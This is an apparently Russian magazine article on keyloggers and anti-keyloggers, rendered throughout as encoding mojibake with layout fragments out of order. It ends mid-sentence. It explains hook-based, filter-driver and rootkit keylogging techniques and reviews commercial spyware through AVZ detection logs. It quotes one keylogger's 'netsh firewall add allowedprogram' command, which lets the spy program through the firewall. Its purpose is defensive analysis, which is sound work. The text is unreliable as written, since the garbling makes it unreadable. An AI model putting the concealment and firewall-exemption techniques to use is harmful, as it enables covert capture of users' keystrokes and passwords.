UserMode è KernelMo-
de. Äàííûå î íàéäåí-
íûõ ïåðåõâàò÷èêàõ âíî-
ñÿòñÿ â ïðîòîêîë ñ ïî-
ÿñíÿþùåé òåõíè÷åñêîé
èíôîðìàöèåé, â ÷àñò-
íîñòè ñ àäðåñàìè ïå-
ðåõâàò÷èêîâ. Íåéòðà-

ëèçàöèÿ ðóòêèòà ñâî-
äèòñÿ ê âîññòàíîâëå-
íèþ ïîâðåæäåííîãî
ïðîãðàììíîãî êîäà è
ìîäèôèêàöèé KiST.
Êðîìå òîãî, â õîäå ïî-
èñêà ðóòêèòîâ ïðîèçâî-
äèòñÿ ïîèñê ñêðûòûõ
ïðîöåññîâ ïî íåñêîëü-
êèì òèïîâûì ìåòîäè-
êàì. Îãðàíè÷åíèå: íå
äåòåêòèðóåò ìàñêèðîâ-
êó ôàéëîâ ïðè ïîìîùè
äðàéâåðà-ôèëüòðà.

4 / 5

AVZ 

www.z-oleg.com/

secur/avz/

download.php

size: 1,55 Ìá

Àíòèðóòêèò BlackLight
ðàçðàáîòàí êîìïàíèåé
F-Secure è óæå äîñòà-
òî÷íî äëèòåëüíîå âðå-
ìÿ íàõîäèòñÿ â ñòàäèè
áåòà-òåñòèðîâàíèÿ.
Ñêà÷àòü åãî ìîæíî ïî
àäðåñó http://www.f-secu-
re.com/blacklight/, óòèëè-
òà ðàáîòàåò áåç èíñòàë-
ëÿöèè. Ïðèíöèï ïîèñêà

ðóòêèòîâ îñíîâûâàåòñÿ
íà íèçêîóðîâíåâîì
àíàëèçå ñèñòåìû äëÿ
âûÿâëåíèÿ ìàñêèðóå-
ìûõ ïðîöåññîâ è ôàé-
ëîâ. Íåñîìíåííûé
ïëþñ — ñïîñîáíîñòü
ïîèñêà ìàñêèðóþùèõñÿ
ïðîöåññîâ, êîòîðàÿ ïî-
ñòîÿííî ñîâåðøåíñòâó-
åòñÿ. 

3 / 5

BlackLight 

www.f-secure.com/

blacklight

size: 799 Êá

3 / 5

SSV 

invisiblethings.org/

tools.html

size: 50 Êá

Àíòèðóòêèò RootkitRe-
vealer Ìàðêà Ðóññèíî-
âè÷à ìîæíî ñêà÷àòü 
ñ ñàéòà www.sysinter-
nals.com/. Ïðèíöèï ðà-
áîòû — ñðàâíåíèå èí-
ôîðìàöèè î äèñêå è ðå-

åñòðå, ïîëó÷åííîé ïó-
òåì ïðÿìîãî èõ ÷òåíèÿ
è çàïðîøåííîãî ÷åðåç
API. Åñëè ðóòêèò ìà-
ñêèðóåò îáúåêòû íà
äèñêå è êëþ÷è â ðååñ-
òðå, òî âîçíèêíóò ðàñ-
õîæäåíèÿ, êîòîðûå Ro-
otkitRevealer çàôèêñè-
ðóåò â ïðîòîêîëå. Óòè-
ëèòà ðàáîòàåò äîñòà-
òî÷íî áûñòðî, îäíàêî
âîçìîæíîñòè åå îãðà-
íè÷åíû — åñëè ðóòêèò
íå ìàñêèðóåò ñâîè
ôàéëû è êëþ÷è ðåå-
ñòðà, òî RootkitRevealer
åãî íå  îáíàðóæèò. Äî-
ñòîèíñòâî — äåòåêòè-
ðóåò ìàñêèðîâêó íåçà-
âèñèìî îò ïðèìåíÿå-
ìîé ìåòîäèêè.

5 / 5

RootkitRevealer 

www.sysinternals.com

size: 210 Êá

Àíòèðóòêèò SSV ÿâëÿ-
åòñÿ áåñïëàòíûì ïðî-
äóêòîì, àâòîð — Joan-
na Rutkowska,  èçâåñò-
íàÿ ïî ñàéòó root-
kit.com. Ñàéò ïðîãðàì-
ìû — http://invisi-
blethings.org, ðàçìåð —
îêîëî 50 Êá, èíñòàëëÿ-
öèè íå òðåáóåò. Óòèëè-
òà SSV ôîðìèðóåò
î÷åíü èíôîðìàòèâíûå
ïðîòîêîëû è îáëàäàåò

ñïîñîáíîñòüþ íåéòðà-
ëèçàöèè ðóòêèòîâ. Ýòó
óòèëèòó ìîæíî ïîñîâå-
òîâàòü òîëüêî îïûòíî-
ìó ïîëüçîâàòåëþ.
Îãðàíè÷åíèå: â õîäå
íåéòðàëèçàöèè íå äå-
òåêòèðóåò ìàñêèðîâêó
ïðîöåññîâ, ðàâíî êàê 
è AVZ íå äåëàåò ðàç-
ëè÷èÿ ìåæäó «ïîëåç-
íûìè» è «âðåäíûìè»
ïåðåõâàò÷èêàìè.
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Êëàâèàòóðíûå øïèîíû (êåéëîããåðû) — îáðàçóþò
áîëüøîå ñåìåéñòâî çëîâðåäíûõ ïðîãðàìì äëÿ
øïèîíàæà çà ðàáîòîé ïîëüçîâàòåëåé. Ïåðâûå êåé-
ëîããåðû ïîÿâèëèñü åùå âî âðåìåíà MSDOS — òîã-
äà îíè ïðåäñòàâëÿëè ñîáîé îáðàáîò÷èêè ïðåðûâà-
íèÿ êëàâèàòóðû ðàçìåðîì îêîëî 1 Êá. Îäíàêî ôóíê-
öèè êåéëîããåðà çà ïðîøåäøåå âðåìÿ íå èçìåíè-
ëèñü — ïî-ïðåæíåìó åãî ïåðâè÷íîé çàäà÷åé ÿâëÿ-
åòñÿ ñêðûòàÿ ðåãèñòðàöèÿ êëàâèàòóðíîãî ââîäà ñ
ïîñëåäóþùåé çàïèñüþ ñîáðàííîé èíôîðìàöèè íà
äèñê èëè ïåðåäà÷åé ïî ñåòè.

Êåéëîããåð ïðåäñòàâëÿåò áîëüøóþ óãðîçó
äëÿ áåçîïàñíîñòè ïîëüçîâàòåëÿ. Ñ òî÷êè çðåíèÿ
àíòèâèðóñà, ýòî íå âèðóñ è íå òðîÿíñêàÿ ïðîãðàì-
ìà, ïîýòîìó ìíîãèå àíòèâèðóñíûå ïàêåòû åñëè è
ëîâÿò êåéëîããåðû, òî òîëüêî ñ ðàñøèðåííîé áàçîé.
Äðóãàÿ ïðîáëåìà ñâÿçàíà ñ òåì, ÷òî êåéëîããåðîâ
èçâåñòíî âåëèêîå ìíîæåñòâî, äà è íàïèñàòü åãî íå

ñîñòàâëÿåò îñîáîãî òðóäà — êàê ñëåäñòâèå, ñèãíà-
òóðíûé ïîèñê ïðîòèâ íèõ ìàëîýôôåêòèâåí.

îñíîâíûå ïïðèíöèïû ïïîñòðîåíèÿ êêåéëîããåðà.
Ðàññìîòðèì îñíîâíûå ïðèíöèïû, êîòîðûå èñïîëü-
çóþò (èëè ìîãóò ïîòåíöèàëüíî èñïîëüçîâàòü) êëà-
âèàòóðíûå øïèîíû. 

1  Ñòàíäàðòíàÿ êëàâèàòóðíàÿ ëîâóøêà. Ýòî
ñàìûé ðàñïðîñòðàíåííûé ìåòîä: ñîñòîèò â óñòà-
íîâêå ëîâóøêè òèïà WH_KEYBOARD. Êîä ëîâóøêè
äîëæåí ðàçìåùàòüñÿ â DLL, êîòîðàÿ ïðîåöèðóåòñÿ
â àäðåñíîå ïðîñòðàíñòâî GUI-ïðîöåññîâ ïî ìåðå
íåîáõîäèìîñòè. Ïîíÿòíîå äåëî, ÷òî ýòà áèáëèîòå-
êà âåñüìà çàìåòíà è ïîçâîëèò ñëåäèòü òîëüêî çà
GUI-ïðîöåññàìè. 

2 Ëîâóøêà òèïà WH_JOURNALRECORD. Åå
îòëè÷èå îò WH_KEYBOARD ñîñòîèò â òîì, ÷òî êîä
ëîâóøêè ìîæåò ðàñïîëàãàòüñÿ â ïðèëîæåíèè, óñòà-
íîâèâøåì ëîâóøêó, — êàê ñëåäñòâèå, íå òðåáóåòñÿ
òàñêàòü DLL. Ìåòîä èìååò íåêîòîðûå îñîáåííîñòè,
êîòîðûå ìû ðàññìîòðèì äàëåå íà ïðèìåðå.

3  Ïåðèîäè÷åñêèé îïðîñ ñîñòîÿíèÿ êëàâèàòó-
ðû. Ïðèìèòèâíûé äî áåçîáðàçèÿ ìåòîä, ñîñòîÿùèé â
öèêëè÷åñêîì îïðîñå ñîñòîÿíèÿ êëàâèàòóðû ñ áîëü-
øîé ñêîðîñòüþ. Êàê íè ñòðàííî, íî ýòîò ìåòîä ïðèìå-
íÿòñÿ äàæå íåêîòîðûìè êîììåð÷åñêèìè ïðîäóêòàìè. 

4  Óñòàíîâêà äðàéâåðà-ôèëüòðà. Ýòîò ìå-
òîä, ðàâíî êàê è ëîâóøêà, ÿâëÿåòñÿ äîêóìåíòèðî-
âàííûì ìåòîäîì ñëåæåíèÿ çà êëàâèàòóðíûì ââî-

ÊËÀÂÈÀÒÓÐÍÛÅ ØÏÈÎÍÛ
Â ÝÒÎÉ ÑÒÀÒÜÅ ÌÛ ÐÀÑÑÊÀÆÅÌ Î ÒÎÌ,
ÊÀÊÈÅ ÁÛÂÀÞÒ ÊÅÉËÎÃÃÅÐÛ, ÊÀÊ ÈÕ ÏÈØÓÒ, 
À ÒÀÊÆÅ — ÊÀÊÈÅ ÁÛÂÀÞÒ
ÀÍÒÈÊÅÉËÎÃÃÅÐÛ, È ÊÀÊ ÈÕ ÂÛÁÈÐÀÞÒ

Îëåã Çàéöåâ 
z-oleg.com/secur

÷÷èèòòààéé 
ïïîî ððóóêêààìì



äîì. Ôèëüòð ïîäêëþ÷àåòñÿ ê ñòåêó êëàâèàòóðû ïðè
ïîìîùè IoAttachDevice, à ïîäêëþ÷åíèå îáû÷íî âå-
äåòñÿ ê \\Device\\KeyboardClass0. Ôèëüòð îòëàâëè-
âàåò IRP òèïà IRP_MJ_READ è óñòàíàâëèâàåò â íèõ
ñâîþ ïðîöåäóðó çàâåðøåíèÿ ïðè ïîìîùè ôóíêöèè
IoSetCompletionRoutine. 

5 Ïîäìåíà êëàâèàòóðíîãî äðàéâåðà. Ìåòîä
íåïðèåìëåì äëÿ êîììåð÷åñêîãî êåéëîããåðà, òàê
êàê åãî  ñîçäàòåëè íå ìîãóò çíàòü çàðàíåå, êàêîãî
òèïà êëàâèàòóðà ïðèìåíÿåòñÿ íà ÏÊ ïîëüçîâàòåëÿ.

6 Øïèîí-ðóòêèò. Ìîæåò ðåàëèçîâûâàòüñÿ êàê
â UserMode, òàê è â ðåæèìå ÿäðà. Â UserMode ñëå-
æåíèå çà êëàâèàòóðíûì ââîäîì ìîæåò áûòü ïîñòðî-
åíî çà ñ÷åò ïåðåõâàòà îáìåíà ïðîöåññà csrss.exe

äðàéâåðîì êëàâèàòóðû èëè ïðè ïîìîùè ñëåæåíèÿ
çà âûçîâàìè API-ôóíêöèé òèïà GetMessage è Pe-
ekMessage. Â KernelMode êëàññè÷åñêèì ìåòîäîì
ÿâëÿåòñÿ ïîèñê KeServiceDescriptorTableShadow è
ïåðåõâàò â íåé ðÿäà ôóíêöèé, â ÷àñòíîñòè Peek-
Message. Ó ðóòêèòà åñòü åùå îäíî ïðåèìóùåñòâî:
îí ìîæåò ïåðåõâàòèòü åùå 2-3 ôóíêöèè äëÿ ìà-
ñêèðîâêè. Ñàìîå ñìåøíîå ñîñòîèò â òîì, ÷òî îò
ðóòêèòà-êåéëîããåðà íå ñïàñàåò äàæå ýêðàííàÿ
êëàâèàòóðà, êîòîðàÿ ÷àñòî ïðåïîäíîñèòñÿ êàê
ïàíàöåÿ îò êåéëîããåðà ëþáîãî òèïà. Ïðî UserMode
è KernelMode òû ñìîæåøü ïðî÷èòàòü â ìîåé êíèãå,
êîòîðàÿ äîëæíà âûéòè â êîíöå ëåòà.  

7 Àïïàðàòíûé «æó÷îê». Òàêîé êåéëîããåð îáëà-
äàåò íåñîìíåííûì ïëþñîì — åãî íåëüçÿ îáíàðóæèòü
ïðîãðàììíûìè ìåòîäàìè. Ðàçâèòèå ìèêðîýëåêòðî-
íèêè ïðèâåëî ê òîìó, ÷òî ñòîèìîñòü òàêîãî äåâàéñà
ñíèçèëàñü äî $50-100, ïîýòîìó âåðîÿòíîñòü ïðèìåíå-
íèÿ òàêîãî «æó÷êà» ñóùåñòâåííî âîçðàñòàåò. 

âñêðûòèå ïïîêàçàëî… ×òîáû íå áûòü ãîëî-
ñëîâíûì, ïåðåä íàïèñàíèåì ñòàòüè ÿ îáñëåäîâàë 65
áîëåå èëè ìåíåå ðàñïðîñòðàíåííûõ êîììåð÷åñêèõ
êåéëîããåðîâ ïîñëåäíèõ âåðñèé, ÷òî ïîçâîëèëî ñäå-
ëàòü íåñêîëüêî èíòåðåñíûõ âûâîäîâ. Ïåðâûé âûâîä
êàñàåòñÿ ïðèíöèïîâ ðàáîòû (äèàãðàììà ñâåðõó).

Îêàçàëîñü, ÷òî ïîäàâëÿþùåå áîëüøèíñòâî
êåéëîããåðîâ ïðèìåíÿåò áàíàëüíûå ëîâóøêè è öè-
êëè÷åñêèé îïðîñ êëàâèàòóðû. È òîëüêî ïîðÿäêà
10% ñîäåðæàò äðàéâåðà-ôèëüòðû. Êîììåð÷åñêèé
ðóòêèò-êåéëîããåð â ÷èñòîì âèäå òàê è íå ïîïàëñÿ.
Ýòî ãîâîðèò î òîì, ÷òî äàííàÿ òåõíîëîãèÿ ïîêà íå
íàøëà øèðîêîãî ðàñïðîñòðàíåíèÿ. Ñ òî÷êè çðå-
íèÿ ïðèìåíåíèÿ ðóòêèòîâ (ñìîòðè íà âòîðîé äèà-
ãðàììå), êàðòèíà ïðèìåðíî àíàëîãè÷íà — îêîëî
10% èçó÷åííûõ øïèîíîâ ïðèìåíÿþò áîëåå èëè
ìåíåå ñåðüåçíûå ðóòêèòû, äîñòîéíûå ðàññìîòðå-
íèÿ. Îñòàëüíûå èëè íèêàê íå ìàñêèðóþòñÿ, èëè
ñîäåðæàò ïðèìèòèâíåéøóþ çàùèòó îò äèñïåò÷å-
ðà ïðîöåññîâ (íî ïðè ýòîì â îïèñàíèè áóêâàëüíî
êàæäîãî ìîæíî íàéòè ãðîìêèå ôðàçû òèïà «àáñî-
ëþòíî íåâèäèì» è ò.ï.).

Ñàìûì èíòåðåñíûì, ñ òî÷êè çðåíèÿ ìàñêè-
ðîâêè, îêàçàëñÿ ELITE Keylogger 2.6, êîòîðûé ïî-
ðàäîâàë õîòü êàêèìè-òî íåñòàíäàðòíûìè (è äîñòà-
òî÷íî ýôôåêòèâíûìè) ìåðàìè ñàìîçàùèòû.

àïïàðàòíûå êêåéëîããåðû. Àïïàðàòíûé êåéëîã-
ãåð ìîæåò áûòü óñòàíîâëåí ðàçëè÷íûì ñïîñîáîì.
Íàèáîëåå ïîïóëÿðíû äâà ìåòîäà:

1 Ðàçìåùåíèå êåéëîããåðà âíóòðè êëàâèàòó-
ðû. Ïðè ýòîì îáíàðóæèòü òàêîãî øïèîíà î÷åíü
òðóäíî, ïèòàòüñÿ îí ìîæåò íåïîñðåäñòâåííî îò
ïëàòû êëàâèàòóðû. Ñóùåñòâóåò äîñòàòî÷íî øè-
ðîêèé àññîðòèìåíò òàêèõ óñòðîéñòâ, íàïðèìåð
http://www.keyghost.com/securekb.htm.

2 Âêëþ÷åíèå â ðàçðûâ êàáåëÿ. Îáû÷íî óñòðîé-
ñòâî ìàñêèðóåòñÿ ïîä óäëèíèòåëü èëè ôèëüòð — àñ-
ñîðòèìåíò âåñüìà âåëèê. Íàèáîëåå èçâåñòåí KEY-
Katcher Hardware Keyloggers (http://www.keykatcher.com/),
êîòîðûé ïðîèçâîäèòñÿ â äâóõ ðàçíîâèäíîñòÿõ: äëÿ
PS/2- è USB-êëàâèàòóð. Äðóãîé ïðèìåð — KeyGhost
(http://www.keyghost.com/).

êîììåð÷åñêèå ïïðîãðàììíûå êêåéëîããåðû.
Ðàññìîòðèì íåñêîëüêî õàðàêòåðíûõ êåéëîããåðîâ
ïîäðîáíåå (ÿ ñïåöèàëüíî îòîáðàë íàèáîëåå òè-
ïè÷íûå ýêñïîíàòû). Èòàê, íà÷íåì ñ îòå÷åñòâåííîé
ðàçðàáîòêè — êåéëîããåðà Actual Spy.
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Â ÝÒÎÉ ÑÒÀÒÜÅ ÌÛ ÐÀÑÑÊÀÆÅÌ Î ÒÎÌ, ÊÀÊÈÅ ÁÛÂÀÞÒ ÊÅÉËÎÃÃÅÐÛ,
ÊÀÊ ÈÕ ÏÈØÓÒ, À ÒÀÊÆÅ – ÊÀÊÈÅ ÁÛÂÀÞÒ ÀÍÒÈÊÅÉËÎÃÃÅÐÛ 
È ÊÀÊ ÈÕ ÂÛÁÈÐÀÞÒ

77% ëîâóøêà
15% öèêëè÷åñêèé îïðîñ
8% äðàéâåð-ôèëüòð

Ñâåðõó: ïðèíöèïû ðàáîòû êåéëîããåðîâ
Âíèçó: òåõíîëîãèè êåéëîããåðîâ

78% íå ïðèìåíÿþò rootkit-òåõíîëîãèé
13% ïðîñòåéøèå rootkit UserMode
9% kernelMode èëè kernel + UserMode
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Äàííûé êåéëîããåð
îáëàäàåò âåñüìà âíó-
øèòåëüíûìè âîçìîæ-
íîñòÿìè, âêëþ÷àÿ ñëå-
æåíèå çà áðàóçåðîì è
áóôåðîì îáìåíà. Ïîä-
äåðæèâàåò àâòîìàòè÷å-
ñêóþ îòïðàâêó îò÷åòîâ
ïî Ñåòè. Â îïèñàíèè çà-
ÿâëåíî, ÷òî îí íå äå-
òåêòèðóåòñÿ àíòèâèðó-
ñàìè, è íå âèäåí âî
âñåõ îïåðàöèîííûõ ñè-
ñòåìàõ.

Èññëåäîâàíèå ïîêà-
çàëî, ÷òî, íåñìîòðÿ íà
ôóíêöèîíàëüíîñòü, ìà-
ñêèðîâêà ïðîöåññà ó
íåãî îòñóòñòâóåò (çà èñ-
êëþ÷åíèåì ïðîñòåé-
øåé ðóòêèò-ìàñêèðîâêè
îò äèñïåò÷åðà çàäà÷
Windows), à ïðèíöèï
äåéñòâèÿ îñíîâàí íà
ëîâóøêå. Ïîâåäåí÷å-
ñêèé àíàëèçàòîð AVZ
ïîêàçàë, ÷òî ëîâóøêà
ïîñòðîåíà ïî êëàññè÷å-
ñêîìó àëãîðèòìó:

C:\Program Files\

ASMonitor\hprog.dll --> 

Ïîäîçðåíèå íà Keylogger

èëè òðîÿíñêóþ DLL

C:\Program Files\

ASMonitor\hk.dll --> 

Ïîäîçðåíèå íà Keylogger 

èëè òðîÿíñêóþ DLL

C:\Program Files

\ASMonitor\hk.dll>>>

Ïîâåäåí÷åñêèé àíàëèç: 

1. Ðåàãèðóåò 

íà ñîáûòèÿ: êëàâèàòóðà

2. Ïåðåäàåò äàííûå 

ïðîöåññó: 2024 

C:\Program Files\

ASMonitor\ASMonitor.exe 

(îêíî = "Actual Spy — 

ÍÅÇÀÐÅÃÈÑÒÐÈÐÎÂÀÍÍÀß 

ÂÅÐÑÈß")

Â äàííîì ïðîòîêîëå
hprog.dll — ýòî ðóòêèò
äëÿ ìàñêèðîâêè ïðî-
öåññà, à hk.dll — áè-
áëèîòåêà ñ ëîâóøêîé.
Ïî÷åìó ýòè äâå áè-
áëèîòåêè íå îáúåäèíå-
íû â îäíó — íå ñîâñåì
ïîíÿòíî, âèäèìî,
hprog.dll ïðèìåíÿåòñÿ
òîëüêî NT-ñèñòåìàìè.
Äàëüíåéøåå èçó÷åíèå
ïîêàçàëî, ÷òî ïðîöåñ-
ñû è áèáëèîòåêè äàííî-
ãî êåéëîããåðà îáíàðó-
æèâàþòñÿ ëþáûì àëü-
òåðíàòèâíûì äèñïåò÷å-
ðîì ïðîöåññîâ. Êðîìå
òîãî, â ñîñòàâå êåéëîã-
ãåðà åñòü BAT-ôàéë ñ
êîìàíäîé «netsh firewall
add allowedprogram pro-
gram=asmonitor.exe na-
me=System». Âûïîëíå-
íèå äàííîãî ôàéëà
ïðèâîäèò ê âíåñåíèþ
ãëàâíîãî èñïîëíÿåìîãî
ôàéëà asmonitor.exe â
ñïèñîê ðàçðåøåííûõ
äëÿ âñòðîåííîãî Fi-
rewall.
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Actual Spy 

www.actualspy.ru/

1.5 Ìá

Ýòîò êåéëîããåð îáëàäà-
åò ñàìîé ìîùíîé ðóò-
êèò-çàùèòîé èç âñåõ
èññëåäîâàííûõ. Âíà÷à-
ëå ïðåäëàãàåò âûáðàòü
ðåæèì óñòàíîâêè — ïî
óìîë÷àíèþ ïðèìåíÿåò-
ñÿ ðåæèì «íåâèäèìîé
óñòàíîâêè» (áåç ñîçäà-
íèÿ ÿðëûêîâ è ðåãè-
ñòðàöèè äåèíñòàëëÿòî-
ðà ïðîãðàììû â «óñòà-
íîâêå è óäàëåíèè ïðî-
ãðàìì»). 

Øïèîí óñòàíàâëèâà-
åò â ñèñòåìó òðè äðàé-
âåðà. Äðàéâåð ñ èìå-
íåì usbkbd.sys ïðèìå-
íÿåòñÿ äëÿ ìàñêèðîâêè
îñòàëüíûõ äðàéâåðîâ.
Ìàñêèðîâêà ñîñòîèò â
ïåðåõâàòå ôóíêöèé
ZwCreateKey, ZwEnu-
merateKey è ZwOpen-
Key äëÿ ñîêðûòèÿ êëþ-
÷åé ðååñòðà, ïðèíàäëå-
æàùèõ äðàéâåðàì êåé-
ëîããåðà. Äðàéâåð
extfs.sys ÿâëÿåòñÿ
ôèëüòðîì ôàéëîâîé
ñèñòåìû è ïðèìåíÿåòñÿ

äëÿ ìàñêèðîâêè ôàé-
ëîâ êåéëîããåðà íà äèñ-
êå. Â ñóììå îí ïðÿ÷åò
íå ìåíåå 6-òè ôàéëîâ.
È, íàêîíåö, tdiip.sys –
ñîáñòâåííî, ñàì êëà-
âèàòóðíûé øïèîí, âû-
ïîëíåííûé â âèäå
ôèëüòðà êëàâèàòóðû. 

Àíàëèçàòîð ïðîòî-
êîëîâ ïðåäîñòàâëÿåò
òèïè÷íûå äëÿ ïðîäóê-
òîâ äàííîãî êëàññà
ôóíêöèè, íî îáëàäàåò
îäíîé îñîáåííîñòüþ: ó
íåãî èìååòñÿ ñïåöèàëü-
íàÿ ïîäñèñòåìà äëÿ ðå-
ãèñòðàöèè ïàðîëåé,
ââîäèìûõ ïîëüçîâàòå-
ëåì (ïðè÷åì ôèêñèðó-
þòñÿ âñå ïàðîëè, âêëþ-
÷àÿ ïàðîëü ïðè âõîäå â
ñèñòåìó). 

Äàííûé êåéëîããåð
íàèáîëåå áëèçîê ê èäå-
àëüíîìó èç âñåõ èññëå-
äîâàííûõ, òàê êàê ó íå-
ãî íåò ïðîöåññîâ èëè
âíåäðåííûõ â äðóãèå
ïðîãðàììû áèáëèîòåê,
à åãî ôàéëû è êëþ÷è
ðååñòðà íàäåæíî çàìà-
ñêèðîâàíû ðóòêèòîì.
Îäíàêî ðóòêèò-ìàñêè-
ðîâêà îäíîâðåìåííî
ÿâëÿåòñÿ åãî ñëàáîé
ñòîðîíîé, ïîñêîëüêó
îáíàðóæåíèå ïåðåõâà-
òîâ è ïîñòîðîííèõ
ôèëüòðîâ ïîçâîëÿåò
çàïîäîçðèòü, ÷òî â ñè-
ñòåìå òâîðèòñÿ ÷òî-òî
íåëàäíîå.
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ELITE Keylogger 2.6 

www.widestep.com

3 Ìá

Äîñòàòî÷íî ðàñïðî-
ñòðàíåííûé êåéëîããåð,
è â îïèñàíèè, êàê âñåã-
äà, çàÿâëåíà åãî àáñî-
ëþòíàÿ íåâèäèìîñòü,
îäíàêî ïîñìîòðèì íà
ëîã AVZ:

C:\WINDOWS\

system32\CTF\ctfs.dll -->

Ïîäîçðåíèå íà Keylogger 

èëè òðîÿíñêóþ DLL

C:\WINDOWS\

system32\CTF\ctfs.dll>>>

Ïîâåäåí÷åñêèé àíàëèç: 

1. Ðåàãèðóåò 

íà ñîáûòèÿ: êëàâèàòóðà,

ìûøü, îêîííûå ñîáûòèÿ

C:\WINDOWS\

system32\CTF\ctfmon.dll -->

Ïîäîçðåíèå íà Keylogger

èëè òðîÿíñêóþ DLL

C:\WINDOWS\

system32\CTF\ctfmon.dll>>>

Ïîâåäåí÷åñêèé àíàëèç: 

1. Ðåàãèðóåò 

íà ñîáûòèÿ: êëàâèàòóðà

2. Ðàáîòàåò ñ ôàéëîì:

c:\windows\

system32\ctf\ctfmon.txt

3. Çàïèñûâàåò äàííûå 

â ôàéë: \windows\

3 / 5

Family Key Logger 

www.spyarsenal.com



43

system32\ctf\ctfmon.txt

4. Âûÿñíÿåò, êàêîå îêíî

íàõîäèòñÿ â ôîêóñå ââîäà

5. Îïðàøèâàåò ñîñòîÿíèå

êëàâèàòóðû

6. Îïðàøèâàåò àêòèâíóþ

ðàñêëàäêó êëàâèàòóðû

7. Îïðåäåëÿåò 

ASCII-êîäû ïî êîäàì 

êëàâèø

Êàê âèäíî èç ëîãà, íå-
âèäèìîñòü íàëèöî :).
Ïðè÷åì õîðîøî âèäíà
òåíäåíöèÿ: äâå áèáëèî-
òåêè, òàê æå, êàê è â 
ActualSpy. Ctfs.dll —
ïðîñòåíüêèé ðóòêèò 
íà áàçå äîìåíû àäðåñà
â òàáëèöå èìïîðòà 
ïðîöåññà, à ctfmon.dll —
ñàì ëîããåð. Ïðè÷åì
åñëè ActualSpy 
ïåðåäàâàë äàííûå 
ñâîåìó ïðîöåññó, 
òî ýòîò ïèøåò 
èõ íàïðÿìóþ â ôàéë
ctfmon.txt, ïðè÷åì 
áåç êýøèðîâàíèÿ.

Ïðîãðàììà PrivacyKey-
board ÿâëÿåòñÿ îäíèì
èç ñàìûõ èçâåñòíûõ
êîììåð÷åñêèõ ïðîäóê-
òîâ. Åå ìîæíî ñêà÷àòü
ñ îôèöèàëüíîãî ñàéòà,
ñòîèìîñòü êîïèè —
îêîëî $90. 

Ïðèíöèï äåéñòâèÿ
ïðîãðàììû îñíîâàí íà
óñòàíîâêå äðàéâåðà,
ïðîèçâîäÿùåãî ìîíè-
òîðèíã âûçîâîâ, ïðèìå-
íÿåìûõ êåéëîããåðàìè
ôóíêöèé (ïåðåõâàò
GUI-ôóíêöèé ïðîèçâî-
äèòñÿ ïóòåì ïðàâêè àä-
ðåñîâ â KeService-
DescriptorTableShadow
ñ çàùèòîé îò ñíÿòèÿ ïå-
ðåõâàòà çà ñ÷åò åãî ïå-
ðèîäè÷åñêîãî âîññòà-
íîâëåíèÿ). Áëîêèðîâêà

ïîäîçðèòåëüíûõ äåé-
ñòâèé ïðîèçâîäèòñÿ àâ-
òîìàòè÷åñêè, ïðè ýòîì
åñòü âîçìîæíîñòü ðàç-
áëîêèðîâêè ëþáîé ïðî-
ãðàììû. 

Òåñòèðîâàíèå ïðî-
ãðàììû ïîêàçàëî, ÷òî
îíà ýôôåêòèâíî íåé-
òðàëèçóåò êëàññè÷å-
ñêèå êåéëîããåðû íà îñ-
íîâå ëîâóøåê, öèêëè-
÷åñêîì îïðîñå è êëà-
âèàòóðíîì äðàéâåðå-
ôèëüòðå. Ðóòêèò-êåé-
ëîããåðû äàííàÿ ïðî-
ãðàììà íå äåòåêòèðóåò
è íå íåéòðàëèçóåò. Êðî-
ìå òîãî, ñàì PrivacyKe-
yboard «íåìíîãî ðóò-
êèò», òàê êàê îí ìàñêè-
ðóåò ñâîé ïðîöåññ ïî
DKOM-ìåòîäèêå.
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PrivacyKeyboard 

www.bezpeka.biz

Ïî ôóíêöèîíàëüíîñòè
äàííàÿ ïðîãðàììà àíà-
ëîãè÷íà PrivacyKeybo-
ard — åå ìîæíî ñêà-
÷àòü ñ ñàéòà www.anti-ke-
ylogger.net/, îáúåì îêîëî
800 Êá. Ïðèíöèï äåé-
ñòâèÿ òàêæå îñíîâàí íà
ìîíèòîðèíãå ôóíêöèé
èç ðåæèìà ÿäðà.

Ñ òî÷êè çðåíèÿ ïðî-
äâèíóòîãî ïîëüçîâàòå-
ëÿ, ýòà óòèëèòà ãîðàçäî
èíòåðåñíåå ïðåäûäó-
ùåé, ïîñêîëüêó íå ïðî-
ñòî áëîêèðóåò ïîäîçðè-
òåëüíûå äåéñòâèÿ, íî 
è äîñòàòî÷íî ïîäðîáíî

ðàññêàçûâàåò î íèõ
ïîëüçîâàòåëþ. 

Ñîîáùåíèÿ âåñüìà
èíôîðìàòèâíû – íà-
ïðèìåð, óêàçûâàåòñÿ,
êàêîé ïðîöåññ ïûòàåò-
ñÿ óñòàíîâèòü ëîâóøêó
(ñ óêàçàíèåì êàê ñî-
äåðæàùåé ëîâóøêó áè-
áëèîòåêè, òàê è ïðîöåñ-
ñà, êîòîðûé åå óñòàíà-
âëèâàåò).

Ïîëüçîâàòåëü ìîæåò
ëèáî ðàçðåøèòü äàëü-
íåéøóþ ðàáîòó êëàâèà-
òóðíîãî ïåðåõâàò÷èêà,
ëèáî áëîêèðîâàòü åå.
Íåñîìíåííûì äîñòîèí-
ñòâîì ïðîãðàììû ìîæ-
íî ñ÷èòàòü èíôîðìà-
òèâíûå ñîîáùåíèÿ, âû-
âîäèìûå â õîäå îáó÷å-
íèÿ — Advanced Anti
Keylogger îïðåäåëÿåò
òèï ïåðåõâàò÷èêà, à â
ñëó÷àå ñ óñòàíîâêîé
ëîâóøêè óêàçûâàåò íå
òîëüêî ñîäåðæàùóþ
ëîâóøêó áèáëèîòåêó,
íî è ïðèëîæåíèå, êîòî-
ðîå ïûòàåòñÿ óñòàíî-
âèòü ýòó ëîâóøêó. Ñîç-
äàíèå ïðàâèë ìîæåò
âåñòèñü â ðåæèìå îá-
ó÷åíèÿ è ñèëüíî íàïî-
ìèíàåò ïðîöåññ îáó÷å-
íèÿ Firewall.
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îò òòåîðèè êê ïïðàêòèêå. Ðàññìîòðèì íåñêîëüêî
òèïîâûõ ïðèìåðîâ. Â íà÷àëå ïîãîâîðèì î øïèî-
íå íà îñíîâå ëîâóøêè, ïîñòðîåííîì áåç ïðèìåíå-
íèÿ DLL. Òàêîé øïèîí èñïîëüçóåò ëîâóøêó òèïà
WH_JOURNALRECORD, êîòîðàÿ ÿâëÿåòñÿ ñèñòåì-
íîé, òî åñòü ôóíêöèÿ-îáðàáîò÷èê âûçûâàåòñÿ ñè-
ñòåìîé, ïðè÷åì â êîíòåêñòå ïîòîêà, âûïîëíèâøå-
ãî óñòàíîâêó ëîâóøêè. Ïðàêòè÷åñêîå ïîñëåäñòâèå:
êîä ëîâóøêè íà ñîâåðøåííî çàêîííûõ îñíîâàíèÿõ
